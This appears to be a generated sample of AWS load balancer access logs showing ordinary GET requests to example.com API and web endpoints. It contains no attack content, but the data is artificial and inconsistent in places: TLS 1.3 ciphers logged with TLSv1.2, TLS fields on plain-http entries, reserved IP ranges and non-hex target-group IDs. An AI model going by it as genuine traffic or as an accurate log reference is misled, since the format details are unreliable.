arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc42-5886625d21434f00b9c181a5" "prod-api-alb.example.com" "-" 10 2024-11-01T00:20:02.950218Z "forward" "-" "-" "10.0.59.175:443" "301" "-" "-" -http 2024-11-01T00:20:03.247856Z staging-alb 71.252.170.254:35798 155.165.140.136:443 0.001618 0.083899 0.002513 200 200 241 7570 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc43-4e59b0eb1114490ab5a56cbe" "staging-alb.example.com" "-" 8 2024-11-01T00:20:03.247856Z "forward" "-" "-" "155.165.140.136:443" "200" "-" "-" -https 2024-11-01T00:20:04.697720Z prod-api-alb 243.78.15.92:35794 10.0.168.247:443 0.088152 0.075559 0.017284 404 404 321 12477 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc44-16066cb2281442d1829d39b8" "prod-api-alb.example.com" "-" 8 2024-11-01T00:20:04.697720Z "forward" "-" "-" "10.0.168.247:443" "404" "-" "-" -https 2024-11-01T00:20:05.396484Z prod-api-alb 193.27.58.187:18035 10.0.182.11:443 0.046627 0.134818 0.072214 200 200 764 9047 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc45-753b021bd431456db0a12795" "prod-api-alb.example.com" "-" 4 2024-11-01T00:20:05.396484Z "forward" "-" "-" "10.0.182.11:443" "200" "-" "-" -https 2024-11-01T00:20:05.704966Z prod-web-alb 158.244.148.203:30018 10.0.240.70:443 0.052222 0.492431 0.029471 200 200 648 14046 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc45-228dc5539038417db0f9ea52" "prod-web-alb.example.com" "-" 5 2024-11-01T00:20:05.704966Z "forward" "-" "-" "10.0.240.70:443" "200" "-" "-" -https 2024-11-01T00:20:07.268740Z prod-api-alb 161.236.240.34:10188 10.0.202.220:443 0.017688 0.482997 0.079573 200 200 103 3859 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc47-66f8268fe45549d5939bf802" "prod-api-alb.example.com" "-" 4 2024-11-01T00:20:07.268740Z "forward" "-" "-" "10.0.202.220:443" "200" "-" "-" -http 2024-11-01T00:20:08.762676Z staging-alb 132.39.101.226:28941 136.180.251.64:443 0.106193 0.142020 0.122951 301 301 632 8403 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc48-34ff961405364115ac260f8f" "staging-alb.example.com" "-" 1 2024-11-01T00:20:08.762676Z "forward" "-" "-" "136.180.251.64:443" "301" "-" "-" -https 2024-11-01T00:20:10.557796Z prod-web-alb 119.186.72.197:64075 10.0.191.10:443 0.040153 0.456112 0.027327 302 302 550 14696 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc4a-76edc456ae8c4ff19ebeac2a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:20:10.557796Z "forward" "-" "-" "10.0.191.10:443" "302" "-" "-" -https 2024-11-01T00:20:11.832501Z prod-web-alb 186.164.200.201:28549 10.0.125.21:443 0.092949 0.038997 0.062438 302 302 904 12898 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc4b-15c771f1150c4efb89361b3a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:20:11.832501Z "forward" "-" "-" "10.0.125.21:443" "302" "-" "-" -https 2024-11-01T00:20:13.697723Z prod-api-alb 152.188.130.174:39629 10.0.187.160:443 0.035986 0.171542 0.096686 200 200 330 4863 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc4d-3a7761d0fcff4672b99a8a4d" "prod-api-alb.example.com" "-" 1 2024-11-01T00:20:13.697723Z "forward" "-" "-" "10.0.187.160:443" "200" "-" "-" -http 2024-11-01T00:20:13.893239Z staging-alb 94.132.105.105:51764 129.28.62.244:80 0.072805 0.438963 0.149973 200 200 513 11775 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc4d-97af26ab125845cd93b68ffc" "staging-alb.example.com" "-" 6 2024-11-01T00:20:13.893239Z "forward" "-" "-" "129.28.62.244:80" "200" "-" "-" -http 2024-11-01T00:20:15.508806Z staging-alb 78.102.210.10:60035 2.66.172.7:443 0.072693 0.544907 0.040357 302 302 97 11278 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc4f-15094ffde1134838b5c70997" "staging-alb.example.com" "-" 8 2024-11-01T00:20:15.508806Z "forward" "-" "-" "2.66.172.7:443" "302" "-" "-" -https 2024-11-01T00:20:15.770168Z prod-web-alb 89.117.68.67:48387 10.0.100.14:443 0.030195 0.182855 0.043680 200 200 235 9253 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc4f-146906d02d974f3380dce9f0" "prod-web-alb.example.com" "-" 0 2024-11-01T00:20:15.770168Z "forward" "-" "-" "10.0.100.14:443" "200" "-" "-" -https 2024-11-01T00:20:15.991184Z prod-web-alb 248.27.153.40:63186 10.0.42.193:443 0.006098 0.335349 0.050821 302 302 441 2090 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc4f-405ff8714cec409f86d87bd0" "prod-web-alb.example.com" "-" 1 2024-11-01T00:20:15.991184Z "forward" "-" "-" "10.0.42.193:443" "302" "-" "-" -https 2024-11-01T00:20:16.303445Z prod-api-alb 77.5.233.123:57461 10.0.48.208:443 0.075379 0.410358 0.075196 200 200 910 12211 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc50-26ce4821e9d14819b84ce8f5" "prod-api-alb.example.com" "-" 2 2024-11-01T00:20:16.303445Z "forward" "-" "-" "10.0.48.208:443" "200" "-" "-" -http 2024-11-01T00:20:16.700969Z staging-alb 195.156.110.240:42125 109.48.82.135:8080 0.074132 0.222336 0.019782 404 404 769 8647 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc50-09a485e800ca496abf0ff07a" "staging-alb.example.com" "-" 8 2024-11-01T00:20:16.700969Z "forward" "-" "-" "109.48.82.135:8080" "404" "-" "-" -https 2024-11-01T00:20:18.589647Z prod-api-alb 205.85.46.89:11108 10.0.225.149:443 0.020276 0.387782 0.082817 302 302 151 5629 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc52-90c1c20853a14aa2ab21683b" "prod-api-alb.example.com" "-" 8 2024-11-01T00:20:18.589647Z "forward" "-" "-" "10.0.225.149:443" "302" "-" "-" -https 2024-11-01T00:20:20.474263Z prod-api-alb 24.167.230.121:60152 10.0.3.83:443 0.065950 0.003494 0.037345 200 200 640 13509 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc54-264724f301b8456095c3a796" "-" "-" 10 2024-11-01T00:20:20.474263Z "forward" "-" "-" "10.0.3.83:443" "200" "-" "-" -https 2024-11-01T00:20:21.395812Z prod-api-alb 185.176.143.9:21424 10.0.81.159:443 0.000618 0.203224 0.036146 200 200 429 1253 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc55-ace8bc7e166e496f9c43539f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:20:21.395812Z "forward" "-" "-" "10.0.81.159:443" "200" "-" "-" -https 2024-11-01T00:20:22.465873Z prod-web-alb 200.228.199.10:23674 10.0.170.159:443 0.092797 0.255416 0.062039 301 301 331 7308 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc56-cc49fac957d241d195b53e70" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:22.465873Z "forward" "-" "-" "10.0.170.159:443" "301" "-" "-" -https 2024-11-01T00:20:24.146193Z prod-web-alb 87.81.13.87:18711 10.0.223.106:443 0.002880 0.322559 0.026377 302 302 506 8522 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc58-cbcf5ec418604480992a503f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:20:24.146193Z "forward" "-" "-" "10.0.223.106:443" "302" "-" "-" -https 2024-11-01T00:20:24.365090Z staging-alb 32.98.244.130:21638 233.155.198.52:80 0.133770 0.396685 0.063242 404 404 621 6385 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc58-0057aa8cd69846f5a0702f79" "staging-alb.example.com" "-" 3 2024-11-01T00:20:24.365090Z "forward" "-" "-" "233.155.198.52:80" "404" "-" "-" -http 2024-11-01T00:20:26.032801Z staging-alb 161.187.209.77:22053 240.90.109.103:443 0.003480 0.478637 0.037179 200 200 395 11471 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc5a-50d0fc82fba6493da36ff872" "staging-alb.example.com" "-" 0 2024-11-01T00:20:26.032801Z "forward" "-" "-" "240.90.109.103:443" "200" "-" "-" -http 2024-11-01T00:20:27.106524Z staging-alb 26.122.229.233:56332 71.148.82.145:80 0.016906 0.124897 0.131822 200 200 938 1837 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc5b-e560aaf9cbfd4ba59d05c100" "staging-alb.example.com" "-" 4 2024-11-01T00:20:27.106524Z "forward" "-" "-" "71.148.82.145:80" "200" "-" "-" -https 2024-11-01T00:20:27.732080Z prod-api-alb 126.154.240.87:14203 10.0.43.66:443 0.068453 0.166534 0.012305 301 301 607 13604 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc5b-1bffbd1866d242d0b6983d73" "prod-api-alb.example.com" "-" 7 2024-11-01T00:20:27.732080Z "forward" "-" "-" "10.0.43.66:443" "301" "-" "-" -https 2024-11-01T00:20:28.131637Z staging-alb 93.172.38.17:53276 71.217.144.14:443 0.030764 0.534751 0.015359 200 200 630 10204 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc5c-0834e74764c547f297994cf7" "staging-alb.example.com" "-" 8 2024-11-01T00:20:28.131637Z "forward" "-" "-" "71.217.144.14:443" "200" "-" "-" -https 2024-11-01T00:20:30.060565Z prod-web-alb 155.250.126.111:57564 10.0.128.128:443 0.058643 0.427586 0.075920 301 301 292 4176 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc5e-f11a63e442454c3dae195a99" "prod-web-alb.example.com" "-" 7 2024-11-01T00:20:30.060565Z "forward" "-" "-" "10.0.128.128:443" "301" "-" "-" -https 2024-11-01T00:20:31.092228Z prod-api-alb 188.149.114.93:11170 10.0.38.180:443 0.020253 0.454288 0.099296 302 302 187 13614 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc5f-4e31dd70a67e44bba5fac1d8" "prod-api-alb.example.com" "-" 3 2024-11-01T00:20:31.092228Z "forward" "-" "-" "10.0.38.180:443" "302" "-" "-" -https 2024-11-01T00:20:31.343148Z prod-web-alb 214.163.52.233:28963 10.0.160.89:443 0.069064 0.067382 0.034085 200 200 285 2895 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc5f-758cb0d2b1dc47908ae7f45d" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:31.343148Z "forward" "-" "-" "10.0.160.89:443" "200" "-" "-" -https 2024-11-01T00:20:32.104436Z prod-api-alb 141.154.210.36:33569 10.0.44.66:443 0.038078 0.281850 0.094847 200 200 970 7693 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc60-d5299852301e4aa2b8d1f1af" "prod-api-alb.example.com" "-" 10 2024-11-01T00:20:32.104436Z "forward" "-" "-" "10.0.44.66:443" "200" "-" "-" -https 2024-11-01T00:20:32.405125Z prod-web-alb 182.5.91.106:15852 10.0.168.92:443 0.077295 0.273956 0.089909 200 200 183 5462 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc60-fcc6a7f2b9fe4825a504c9b4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:20:32.405125Z "forward" "-" "-" "10.0.168.92:443" "200" "-" "-" -https 2024-11-01T00:20:33.335226Z staging-alb 219.210.245.147:45633 87.92.188.39:443 0.010814 0.176622 0.148645 200 200 596 1691 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc61-6e3e91519d0e445080393f88" "staging-alb.example.com" "-" 0 2024-11-01T00:20:33.335226Z "forward" "-" "-" "87.92.188.39:443" "200" "-" "-" -http 2024-11-01T00:20:33.901352Z staging-alb 230.132.40.174:48583 128.125.72.251:80 0.030236 0.076279 0.144518 404 404 339 4343 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc61-e00a30768afd4634b42ef845" "staging-alb.example.com" "-" 10 2024-11-01T00:20:33.901352Z "forward" "-" "-" "128.125.72.251:80" "404" "-" "-" -https 2024-11-01T00:20:35.016985Z staging-alb 23.110.162.129:40079 204.88.5.14:80 0.076423 0.671807 0.139509 200 200 6 2736 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc63-e3b1077d350a49fb9338d458" "staging-alb.example.com" "-" 7 2024-11-01T00:20:35.016985Z "forward" "-" "-" "204.88.5.14:80" "200" "-" "-" -https 2024-11-01T00:20:36.956223Z prod-web-alb 80.18.202.18:21397 10.0.239.242:443 0.079917 0.366300 0.074654 200 200 915 13416 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc64-2fce2c576e944a9789a84e57" "prod-web-alb.example.com" "-" 3 2024-11-01T00:20:36.956223Z "forward" "-" "-" "10.0.239.242:443" "200" "-" "-" -https 2024-11-01T00:20:37.650185Z staging-alb 69.98.221.90:23225 251.213.140.2:8080 0.129249 0.531503 0.006196 200 200 515 9169 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc65-ea2e8ee6c0df41e8a44e541f" "staging-alb.example.com" "-" 7 2024-11-01T00:20:37.650185Z "forward" "-" "-" "251.213.140.2:8080" "200" "-" "-" -https 2024-11-01T00:20:37.993534Z prod-api-alb 127.110.169.26:17990 10.0.244.183:443 0.024148 0.379063 0.023141 200 200 11 3848 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc65-1b7f53fce6384de8bd691117" "prod-api-alb.example.com" "-" 2 2024-11-01T00:20:37.993534Z "forward" "-" "-" "10.0.244.183:443" "200" "-" "-" -https 2024-11-01T00:20:38.126863Z prod-web-alb 59.179.89.237:49002 10.0.237.213:443 0.024560 0.028561 0.005959 404 404 585 14203 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc66-3cc562c6e3d142ff94b49d68" "prod-web-alb.example.com" "-" 6 2024-11-01T00:20:38.126863Z "forward" "-" "-" "10.0.237.213:443" "404" "-" "-" -http 2024-11-01T00:20:38.516639Z staging-alb 193.94.146.20:30850 233.183.22.244:80 0.100526 0.248378 0.017341 200 200 384 2816 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc66-7ce444dee20b4c38be47cb61" "staging-alb.example.com" "-" 6 2024-11-01T00:20:38.516639Z "forward" "-" "-" "233.183.22.244:80" "200" "-" "-" -https 2024-11-01T00:20:40.325266Z staging-alb 4.65.191.40:12334 135.211.129.80:443 0.095020 0.452470 0.095680 200 200 911 9008 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc68-2fe8f5079e0640beabc9da45" "staging-alb.example.com" "-" 3 2024-11-01T00:20:40.325266Z "forward" "-" "-" "135.211.129.80:443" "200" "-" "-" -https 2024-11-01T00:20:41.330593Z prod-web-alb 250.212.218.183:28276 10.0.37.128:443 0.084430 0.444623 0.029737 301 301 452 14953 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc69-08a8ff5e1a544aa7b0ae234c" "prod-web-alb.example.com" "-" 10 2024-11-01T00:20:41.330593Z "forward" "-" "-" "10.0.37.128:443" "301" "-" "-" -https 2024-11-01T00:20:43.140492Z prod-api-alb 153.145.171.227:63355 10.0.75.30:443 0.038029 0.424838 0.066462 200 200 617 2166 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc6b-ce2a6aefb0e34ee7bc370089" "prod-api-alb.example.com" "-" 3 2024-11-01T00:20:43.140492Z "forward" "-" "-" "10.0.75.30:443" "200" "-" "-" -https 2024-11-01T00:20:43.478925Z prod-web-alb 133.250.232.163:42474 10.0.81.122:443 0.044730 0.045810 0.010537 301 301 371 4398 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc6b-3989f0eceb904f4e84e954ca" "prod-web-alb.example.com" "-" 0 2024-11-01T00:20:43.478925Z "forward" "-" "-" "10.0.81.122:443" "301" "-" "-" -https 2024-11-01T00:20:45.146275Z prod-web-alb 54.232.131.178:27373 10.0.25.219:443 0.098577 0.064675 0.097332 200 200 741 5676 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc6d-0a5e2585fd9749dc93901b63" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:45.146275Z "forward" "-" "-" "10.0.25.219:443" "200" "-" "-" -https 2024-11-01T00:20:46.568714Z prod-web-alb 85.120.90.253:57034 10.0.126.117:443 0.001613 0.295843 0.097660 302 302 204 13968 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc6e-bd81ef6ae8c6452f9dae183e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:20:46.568714Z "forward" "-" "-" "10.0.126.117:443" "302" "-" "-" -https 2024-11-01T00:20:47.797661Z prod-web-alb 248.199.147.65:50506 10.0.3.250:443 0.040394 0.234520 0.020212 200 200 674 12078 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc6f-a31e223824d64ae889c7bd05" "prod-web-alb.example.com" "-" 1 2024-11-01T00:20:47.797661Z "forward" "-" "-" "10.0.3.250:443" "200" "-" "-" -https 2024-11-01T00:20:49.579658Z prod-web-alb 14.62.57.2:31318 10.0.185.194:443 0.046452 0.451985 0.078213 302 302 408 11145 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc71-bf4307a0175c4f6186a1807d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:20:49.579658Z "forward" "-" "-" "10.0.185.194:443" "302" "-" "-" -https 2024-11-01T00:20:50.738728Z prod-web-alb 236.10.28.211:55877 10.0.12.154:443 0.007172 0.201974 0.038921 200 200 784 9881 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc72-7935a4b83e90480baec50939" "prod-web-alb.example.com" "-" 5 2024-11-01T00:20:50.738728Z "forward" "-" "-" "10.0.12.154:443" "200" "-" "-" -https 2024-11-01T00:20:51.057289Z prod-web-alb 195.68.31.178:23771 10.0.122.115:443 0.039733 0.006844 0.061575 200 200 553 13947 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc73-0adda81034724a078dc541c0" "prod-web-alb.example.com" "-" 5 2024-11-01T00:20:51.057289Z "forward" "-" "-" "10.0.122.115:443" "200" "-" "-" -https 2024-11-01T00:20:52.590181Z prod-api-alb 27.239.183.13:41922 10.0.192.220:443 0.069653 0.226247 0.023561 200 200 622 13740 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 